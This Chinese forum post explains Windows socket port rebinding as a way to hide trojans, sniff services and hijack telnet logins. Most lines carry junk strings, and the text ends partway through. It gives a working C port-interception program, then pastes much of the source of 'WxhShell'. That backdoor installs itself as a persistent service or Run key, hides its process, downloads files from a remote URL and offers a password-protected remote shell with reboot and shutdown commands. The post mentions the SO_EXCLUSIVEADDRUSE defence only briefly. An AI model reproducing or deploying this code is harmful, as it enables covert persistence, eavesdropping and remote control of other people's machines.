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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [EGx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6_U |(f  
> tEK+Y|N}  
  saddr.sin_family = AF_INET; 4p x_ZD#J  
=xBT>h;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +=, u jO:  
M]B3vPA/v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C|$L6n>DR6  
966<I56+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BVAr&cu  
-,/3"}<^78  
  这意味着什么?意味着可以进行如下的攻击:  i_y:4  
yId;\o B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \[k% )_  
B<+pg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1$OVe4H1  
(0g7-Ci  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hpjUkGm5  
*N'hA5.z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :Q=z=`*2w  
7&px+155  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?k::tNv0  
$vqU|]J`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vu ?3$  
7g-$oO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 = uk`pj  
[88{@)  
  #include 9H[/Tj-;  
  #include ,wlbIl~  
  #include -+' #*V  
  #include    K@*rVor{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   & L3UlL  
  int main() EFwL.'Fh  
  { W8x[3,gT  
  WORD wVersionRequested; v#-E~;C cC  
  DWORD ret; @?Fx  
  WSADATA wsaData; [='p!7 z  
  BOOL val; aSTFcz"  
  SOCKADDR_IN saddr; Ny B&uf  
  SOCKADDR_IN scaddr; y]J3h Ks  
  int err; hMz&JJ&B  
  SOCKET s; ) (+)Q'*  
  SOCKET sc; }R`Irxv4  
  int caddsize; 2H3(HZv  
  HANDLE mt; Dw*Arc+3V  
  DWORD tid;   -}<d(c  
  wVersionRequested = MAKEWORD( 2, 2 ); :;q>31:h  
  err = WSAStartup( wVersionRequested, &wsaData ); &q"'_4  
  if ( err != 0 ) { KCl &H  
  printf("error!WSAStartup failed!\n"); hc6.#~i  
  return -1; @Mzz2&(d U  
  } ^W5>i[  
  saddr.sin_family = AF_INET; erXy>H[;  
   Esb ?U|F4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y%2%^wF  
a6k(9ZF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6EZ1YG}  
  saddr.sin_port = htons(23); yV8-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D>ojW|@}  
  { D9,e3.?p  
  printf("error!socket failed!\n"); 7F=2t_2O  
  return -1; P&,hiGTDi  
  } #jhQBb4?,  
  val = TRUE; I'xC+nL@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R04.K !  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c1PViko,>  
  { XynU/Go,  
  printf("error!setsockopt failed!\n"); Zo'/^S  
  return -1; ;x,+*%  
  } )-)ss"\+Ju  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "$]ls9-%n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -J{Dxz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {3.*7gnY\L  
|OOXh[y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Td5bDO  
  { ss/h[4h4h  
  ret=GetLastError(); DgC3 > yL  
  printf("error!bind failed!\n"); 3Ca \`m)l  
  return -1; n}=rj7  
  } vlAO z  
  listen(s,2); 4}+xeGA$  
  while(1) zjea4>!A2  
  { E!dz/.  
  caddsize = sizeof(scaddr); /SbSID_a  
  //接受连接请求 bd,Uz% o_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]bs+:  
  if(sc!=INVALID_SOCKET) ht2 f-EKf{  
  { Xg,0/P~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U?JiVxE^  
  if(mt==NULL) s Ke,  
  { +{5JDyh0  
  printf("Thread Creat Failed!\n"); ~5FS|[1L  
  break; g[m3IJzq  
  } @bc[ eas  
  } >_&~!Y.Z=  
  CloseHandle(mt); :a#F  
  } y>>vGU;  
  closesocket(s); @>M8Pe  
  WSACleanup(); ;,<r|.6U  
  return 0; LKIW*M  
  }   j#7wyi5q  
  DWORD WINAPI ClientThread(LPVOID lpParam) }A^ 1q5  
  { 7fap*  
  SOCKET ss = (SOCKET)lpParam; j|&{e91,?  
  SOCKET sc; Vxp$#3 ;S  
  unsigned char buf[4096]; O|HIO&M  
  SOCKADDR_IN saddr; <sgZ3*,A  
  long num; \_lG#p|  
  DWORD val; |P^]@om  
  DWORD ret; BjH~Ml2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =Dh$yC-Zr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   oP+kAV#]  
  saddr.sin_family = AF_INET; yB0jL:|a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 's$A+8;L  
  saddr.sin_port = htons(23); NE$VeW+@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #=`FM:WH  
  { }l,T~Pjb  
  printf("error!socket failed!\n"); }5fU7&jA;3  
  return -1; 0|.7Kz^  
  } C<r(-qO{5  
  val = 100; B*- ToXQQr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m Y$nI -P  
  { %y~`"l$-  
  ret = GetLastError(); >W>##vK  
  return -1; X*TuQ\T  
  } L{cK^ ,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^;0~6uBEJr  
  { !T<z'zZU  
  ret = GetLastError(); jz|Wj  
  return -1; l4iuu  
  } 2q`)GCES~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >v^2^$^u  
  { &Pmc"9Rl  
  printf("error!socket connect failed!\n"); )p^m}N 6M]  
  closesocket(sc); ExN j|*  
  closesocket(ss); &eThH,w$2  
  return -1; w^ixMn~nLF  
  } BengRG[  
  while(1) S 23S.]r  
  { =giM@MV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F3k C"H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >/7KL2*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8vz_~p9%j  
  num = recv(ss,buf,4096,0); MILIu;[{#r  
  if(num>0) 1Pud,!\%q  
  send(sc,buf,num,0); 2x)0?N[$O  
  else if(num==0) hKk\Y{wv'  
  break; 8C*6Fjb#  
  num = recv(sc,buf,4096,0); 7sQ]w   
  if(num>0) }4bB7,j  
  send(ss,buf,num,0); Eg@R[ ^T  
  else if(num==0) 8gVxiFjo  
  break; ;whFaQi 4  
  } 5;3c<  
  closesocket(ss); /E`l:&89)  
  closesocket(sc); l%sp[uqcg  
  return 0 ; {ED(O -W  
  } ,omp F$%  
AJ;u&&c4C\  
ka?IX9t\  
========================================================== L Q I: ]d  
) xfc-Q  
下边附上一个代码,,WXhSHELL Bq$e|t)'  
s=^r/Sz902  
========================================================== Hj5WJ{p.  
*_4n2<W$  
#include "stdafx.h" \3n{w   
'k-u9  
#include <stdio.h> b qg]DO$*  
#include <string.h> <?q&PCAn^  
#include <windows.h> 2FZ 0c/[&  
#include <winsock2.h> <FUqD0sQ  
#include <winsvc.h> 9A/Kn]s(jj  
#include <urlmon.h> 8!o{W=m^4  
+E q~X=x  
#pragma comment (lib, "Ws2_32.lib") ^*cMry  
#pragma comment (lib, "urlmon.lib") v@$evmA  
P`Hd*xh".j  
#define MAX_USER   100 // 最大客户端连接数 _V_8p)%  
#define BUF_SOCK   200 // sock buffer a'_MhJzs  
#define KEY_BUFF   255 // 输入 buffer \p>]G[g  
Y^c,mK^  
#define REBOOT     0   // 重启 X]JpS  
#define SHUTDOWN   1   // 关机 C0t+Q  
g:.,}L  
#define DEF_PORT   5000 // 监听端口 *O(/UVuD\  
| Q1ub S  
#define REG_LEN     16   // 注册表键长度 ecY ^C3+S  
#define SVC_LEN     80   // NT服务名长度 @n~>j&Kp  
4i[v ew  
// 从dll定义API &J6o$i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RS||KA])J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q !RVD*(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ww'TCWk@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #FQm/Q<0  
a O"nD_7  
// wxhshell配置信息 /c_kj2& ]9  
struct WSCFG { P xP?hk  
  int ws_port;         // 监听端口 sl^s9kx;C$  
  char ws_passstr[REG_LEN]; // 口令 E+^} B/"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7kX7\[zN  
  char ws_regname[REG_LEN]; // 注册表键名 6uCk0 B|  
  char ws_svcname[REG_LEN]; // 服务名 Kbz7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @ V7ooo!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z5*(W;;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }GoOE=rhY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P[#WHbn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T4HoSei  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VJ6>3  
NDIc?kj~  
}; g6@NPQ  
^O$[Y9~*  
// default Wxhshell configuration +]S;U&vQ  
struct WSCFG wscfg={DEF_PORT, EMW4<na[  
    "xuhuanlingzhe", I*vj26qvg  
    1, XZep7d}  
    "Wxhshell", Top#u  
    "Wxhshell", ziLr }/tg  
            "WxhShell Service", Hz3 S^o7  
    "Wrsky Windows CmdShell Service", G7/?hky 0.  
    "Please Input Your Password: ", w}bEufU+2  
  1, -X&!dV:= 4  
  "http://www.wrsky.com/wxhshell.exe", U3_yEvZ  
  "Wxhshell.exe" l9ifUh e  
    }; n6%jhv9H  
Ltic_cjYd?  
// 消息定义模块 'a-5 U TT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1)/T.q<D"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LKf5r,C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wWOT*R_  
char *msg_ws_ext="\n\rExit."; 7u`}t83a  
char *msg_ws_end="\n\rQuit."; -EkDG]my  
char *msg_ws_boot="\n\rReboot..."; XJxs4a1[t  
char *msg_ws_poff="\n\rShutdown..."; L>5!3b=b  
char *msg_ws_down="\n\rSave to "; kXZV%mnT7  
l6`d48U  
char *msg_ws_err="\n\rErr!"; >nIcF m  
char *msg_ws_ok="\n\rOK!"; <E}]t,'3  
>e$^# \D  
char ExeFile[MAX_PATH]; XM@-Y&c$A  
int nUser = 0; L$u&~"z-  
HANDLE handles[MAX_USER]; kkE)zF   
int OsIsNt; xZ @O"*{  
aji~brq  
SERVICE_STATUS       serviceStatus; SVs~,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PM@s}(  
t!=~5YgKs  
// 函数声明 dW^_tzfF7  
int Install(void); 9}qfdbI  
int Uninstall(void); W'2-3J  
int DownloadFile(char *sURL, SOCKET wsh); l#vw L15  
int Boot(int flag); D 917[ <$  
void HideProc(void); u&d v[  
int GetOsVer(void); SiuO99'nV  
int Wxhshell(SOCKET wsl); i;'X}KW  
void TalkWithClient(void *cs); (+Kof  
int CmdShell(SOCKET sock); L^al1T  
int StartFromService(void); fddbXs0Sn  
int StartWxhshell(LPSTR lpCmdLine); >/HU'  
dG~B3xg;5i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &CeF^   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z Lio8  
>*i8RqU  
// 数据结构和表定义 ]I' xLh`  
SERVICE_TABLE_ENTRY DispatchTable[] = m2< *  
{ WWs[]zr  
{wscfg.ws_svcname, NTServiceMain}, DdS3<3]A  
{NULL, NULL} y:[VRLo  
}; }`/n2  
KjfKo;T  
// 自我安装 M>H^<N}'A  
int Install(void) @61N[  
{ k -DB~-L  
  char svExeFile[MAX_PATH]; h`;F<PFW  
  HKEY key; =jv$ 1  
  strcpy(svExeFile,ExeFile); K\E]X\:  
^`r|3c0  
// 如果是win9x系统,修改注册表设为自启动 pB7Z;&9  
if(!OsIsNt) { |`;1p@w"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )E~\H+FP6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X-r,>o:  
  RegCloseKey(key); nIKT w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @NwM+^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ho8.-QSG  
  RegCloseKey(key); C\ >Mt  
  return 0; #.L0]Uqcp  
    } TN@JPoH  
  } I 3,e)Z  
} 6V6g{6W,/  
else { k|c0tvp  
{,C8}8 a W  
// 如果是NT以上系统,安装为系统服务 .,K?\WZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $JSC+o(q3#  
if (schSCManager!=0) J8?6G&0H  
{ lLFBop  
  SC_HANDLE schService = CreateService o^"3C1j  
  ( ggsi`Z{j?  
  schSCManager, M9jo<+  
  wscfg.ws_svcname, YM* 6W?  
  wscfg.ws_svcdisp, <RVtLTd/  
  SERVICE_ALL_ACCESS, } 9s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i\4"FO?v  
  SERVICE_AUTO_START, R9-JjG2v  
  SERVICE_ERROR_NORMAL, 8 ]MzOGB8  
  svExeFile, ygY+2  
  NULL, ?BvI/H5d  
  NULL, ^(JbJ@m/  
  NULL, E0A|+P '?  
  NULL, s /q5o@b{  
  NULL 7b%Cl   
  ); LU7)F,ok  
  if (schService!=0) D#[ :NXahn  
  { >^GCSPe  
  CloseServiceHandle(schService); 207oE O]  
  CloseServiceHandle(schSCManager); ko>O ~@r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zd4y5/aoS  
  strcat(svExeFile,wscfg.ws_svcname); 5@A=, GPUn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RW^v{'o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'nt,+`.y6  
  RegCloseKey(key); }JMkM9]  
  return 0; g*.(! !  
    } rAw1g,&  
  } xKzFrP;/{  
  CloseServiceHandle(schSCManager); ?,DbV|3 _\  
} ZDJWd=E  
} J}KktD@!O  
6="&K_Q7  
return 1; q0Lt[*q3R  
} na:^7:I  
}v ,P3  
// 自我卸载 0$ac1;7  
int Uninstall(void) 4EbiCSo  
{ Z9~Wlt'?  
  HKEY key; Nb^:_0&H@  
&+^ Y>Ke  
if(!OsIsNt) { ;iNx@tz4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A"VXs1>_^  
  RegDeleteValue(key,wscfg.ws_regname); L([>yQZ  
  RegCloseKey(key); ''Ec-b6Q-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { svjFy/T(lL  
  RegDeleteValue(key,wscfg.ws_regname); # h|< >  
  RegCloseKey(key); 1)Bi>X  
  return 0; ^WPV  
  } (k.7q~:  
} =8_TOvSJ4p  
} yS3s5C{C  
else { =Fl4tY#X  
gdNp2b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G_4P)G3H  
if (schSCManager!=0) j/|qge4  
{ |T&#"q,i9%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .tsB$,/  
  if (schService!=0) (1]@ fCd +  
  { u5M{s;{11r  
  if(DeleteService(schService)!=0) { PQ]N>'v-  
  CloseServiceHandle(schService); bkIA:2HX  
  CloseServiceHandle(schSCManager); RE$-{i  
  return 0; U5 "v1"Ec  
  } .6#2i <oPW  
  CloseServiceHandle(schService); p:%E>K1<  
  } 2F7R,rr  
  CloseServiceHandle(schSCManager); OAOmd 4  
} 0M-AIQ5  
} 1bs95Fh9Q  
J<@]7)|U  
return 1; hJN A%  
} 5L#M7E  
>z$|O>j  
// 从指定url下载文件 b6BIDuRb  
int DownloadFile(char *sURL, SOCKET wsh) u\?u}t v  
{ SUhP e+  
  HRESULT hr; 0X w?}  
char seps[]= "/"; iJeT+}  
char *token; c[q3O**  
char *file; w2GY,,R  
char myURL[MAX_PATH]; DLZ63'  
char myFILE[MAX_PATH]; rE~O}2a#H  
H5)WxsZ R  
strcpy(myURL,sURL); "H@AT$Ny(  
  token=strtok(myURL,seps); n1h+`nsf  
  while(token!=NULL) PnvLXE}F  
  { t-/^O  
    file=token; C%"@|01cO  
  token=strtok(NULL,seps); GvY8O|a  
  } eO#)QoHj^  
n2~rrQ \/p  
GetCurrentDirectory(MAX_PATH,myFILE); l[Oxf|  
strcat(myFILE, "\\"); 5T`39[Fya  
strcat(myFILE, file); 0c) 19Ig  
  send(wsh,myFILE,strlen(myFILE),0); 59u7q(  
send(wsh,"...",3,0); H]\H'r"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V6N#%(?3  
  if(hr==S_OK) Emo]I[<&q  
return 0; EIAT*l:NW  
else oT w1w  
return 1; hQO~9mQ+!  
x($1pAE  
} @VFg XN  
IU/*YI%W  
// 系统电源模块 0vEa]ljS  
int Boot(int flag) ]up:pddIh  
{ )`a R?_  
  HANDLE hToken; iC">F.9#  
  TOKEN_PRIVILEGES tkp; %* 8QLI  
0@KBQv"v  
  if(OsIsNt) { @ggM5mm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fO+;%B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &q+ %OPV  
    tkp.PrivilegeCount = 1; )xU70:X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M II]sF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x<].mx  
if(flag==REBOOT) { aG!!z>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rmhB!Lo  
  return 0; Wo%&,>]<H  
} : f Wh7X3  
else { ^,50]uX_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J_tJj8  
  return 0; {=kA8U  
} SU1, +7"  
  } PGJ?=qXr#  
  else { `8Gwf;P1  
if(flag==REBOOT) { ^I^k4iw 4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ($-o"y"x  
  return 0; 6Rso}hF}}  
} ky*-_  
else { ='f>p+*c%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *fx<>aK  
  return 0; {3?g8e]zr  
} h0!j;fn  
} >q}EZC  
n '&WIf3  
return 1; Z)HQlm  
} -y~JNDS1]  
}[1I_)  
// win9x进程隐藏模块 j1g^Q$B>m  
void HideProc(void) btee;3`  
{ .DT1Jvl  
p B )nQ5l'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6(wpf^br2  
  if ( hKernel != NULL ) 1iz\8R:0  
  { sI`Lsd'V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D[<8(~VP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !j- 7,  
    FreeLibrary(hKernel); >:s:`Au  
  } Qf"gH <vT  
pNDL:vMWP  
return; upWq=_  
}  B} :[~R'  
\!-X&ws  
// 获取操作系统版本 k38Ds_sW6d  
int GetOsVer(void) o rEo$e<  
{ b afYjF< 3  
  OSVERSIONINFO winfo; P /Js!e<\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RS$e^_W  
  GetVersionEx(&winfo); KktQA*G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H4)){\  
  return 1; "g0L n5&  
  else w+Ag!O}.L  
  return 0; pbu8Ib8z  
} Z_S~#[\7^]  
2;A].5>l  
// 客户端句柄模块 ,]>Eg6B,u  
int Wxhshell(SOCKET wsl) nF05p2Mh  
{ x3]es"4Q  
  SOCKET wsh; aRR*<dY  
  struct sockaddr_in client; ;]|Z8#s  
  DWORD myID; bd9]'  
'9-8_;  
  while(nUser<MAX_USER) .F9>|Xx[  
{ H!,#Z7s  
  int nSize=sizeof(client); i_V~SC`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `_<K#AGAi  
  if(wsh==INVALID_SOCKET) return 1; *V>Iv/(  
U<*ZY`B3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;/$zBr`'  
if(handles[nUser]==0) }9jy)gF*e  
  closesocket(wsh); \acjv|]  
else Uq7 y4zJ  
  nUser++; + 6O5hZ  
  } 'a*tee ^RS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?DA,]aa-  
OLlNCb#t  
  return 0; ) =sm{R%T  
} {3'z}q  
_"=Yj3?G%  
// 关闭 socket x?T/=C  
void CloseIt(SOCKET wsh) Ly lw('zZ  
{ C;M.dd  
closesocket(wsh); nxCwg>  
nUser--; rk{DrbRx  
ExitThread(0); <1>\?$)D  
} yX?& K}JI  
RD<l<+C^~  
// 客户端请求句柄 GAV|x]R  
void TalkWithClient(void *cs) /`3< @{D  
{ j $a,93P5  
Ar N*9  
  SOCKET wsh=(SOCKET)cs; a6fMx~  
  char pwd[SVC_LEN]; 8v_HIx0xu  
  char cmd[KEY_BUFF]; \_qiUvPf\  
char chr[1]; tGe|@.!  
int i,j; g!i\ AMG?  
94LFElE3  
  while (nUser < MAX_USER) { '*|Wi}0R  
`A])4q$  
if(wscfg.ws_passstr) { j!xt&t4D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jn-iIl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `XS6t)!ik  
  //ZeroMemory(pwd,KEY_BUFF); Z[s{   
      i=0; +2 !F6"hP  
  while(i<SVC_LEN) { W/OZ}ky}^  
](vOH#E  
  // 设置超时 1 ^TOTY  
  fd_set FdRead; .|;`qU o  
  struct timeval TimeOut; x~rIr#o  
  FD_ZERO(&FdRead); }mzM'9JH  
  FD_SET(wsh,&FdRead); tgKmC I  
  TimeOut.tv_sec=8; ,~p'p)  
  TimeOut.tv_usec=0; VD#`1g<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |W<wPmW_{+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d~u+:[\=/  
FE,&_J"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]^uO3!+  
  pwd=chr[0]; LSS3(l[,:  
  if(chr[0]==0xd || chr[0]==0xa) { Ni7~ Mjjt  
  pwd=0; 9K-=2hvv  
  break; ;<O Iu&,*  
  } 3~iIo&NZ  
  i++; |9$K'+'  
    } t 5g@t0$  
wK!4:]rhG  
  // 如果是非法用户,关闭 socket 8&\<p7}=h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l1 fP@|  
} `D6Bw=7  
p(fYpD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S;[9 hI+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (hEqh nnm`  
?kMG!stgp}  
while(1) { iqW T<WY  
l:5x*QSX  
  ZeroMemory(cmd,KEY_BUFF); *"2TT})   
l_Mi'}j  
      // 自动支持客户端 telnet标准   ' !>t( Sa  
  j=0; 21_>|EKp  
  while(j<KEY_BUFF) { Wt*&_+ae  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n$i}r\ so  
  cmd[j]=chr[0]; c&vY0/ [  
  if(chr[0]==0xa || chr[0]==0xd) { )/A IfH  
  cmd[j]=0; t`1E4$Bb\  
  break; WB<_AIt+  
  } ?]+{2&&$  
  j++; -*t4(wT|j  
    } 794V(;sW,  
zcnp?%  
  // 下载文件 ^W+q!pYM9+  
  if(strstr(cmd,"http://")) { 8(J&_7u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \x\_I1|  
  if(DownloadFile(cmd,wsh))  *(5y;1KU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !B_i~Rmg  
  else _7Z|=)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AC :cV='  
  } !l-^JPb  
  else { OLp;eb1g  
J-yj&2  
    switch(cmd[0]) { {U/a h2*  
  0 UdAF  
  // 帮助 :d\ne  
  case '?': { 7/%{7q3G>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oju)8H1o#  
    break; qP@d)XRQ  
  } oVk*G  
  // 安装 '_!j9A]g  
  case 'i': { Q[+&n*  
    if(Install()) <J" 7ufHSQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }#va#Nb(,  
    else #-?C{$2I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0]%0wbY1  
    break; {YnR]|0&  
    } n%GlO KC  
  // 卸载 PEqO<a1Z8  
  case 'r': { ~$xLR/{y  
    if(Uninstall()) wn2+4> |~p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xrb %-vT  
    else Rrh?0qWs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rK 9  
    break; [gI;;GW  
    } ClZ:#uMbN  
  // 显示 wxhshell 所在路径 5=]q+&y\H  
  case 'p': { r;m_@*]  
    char svExeFile[MAX_PATH]; $h"Ht2/ J  
    strcpy(svExeFile,"\n\r"); 1|/P[!u  
      strcat(svExeFile,ExeFile); ]gI>ay"\QA  
        send(wsh,svExeFile,strlen(svExeFile),0); c 4Q{  
    break; WrWJ!   
    } n-iy;L^b  
  // 重启 bV|(V>  
  case 'b': { 6~g`B<(?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c|?0iN  
    if(Boot(REBOOT)) F|.,lb |L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 ?X(q  
    else { S ykblP37  
    closesocket(wsh); 6;"^Id  
    ExitThread(0); 4wfT8CL  
    } /'vCO |?L  
    break; uFxhr2 <z  
    } : V16bRpjL  
  // 关机 zzmZ`Ya  
  case 'd': { VK)1/b=yT  
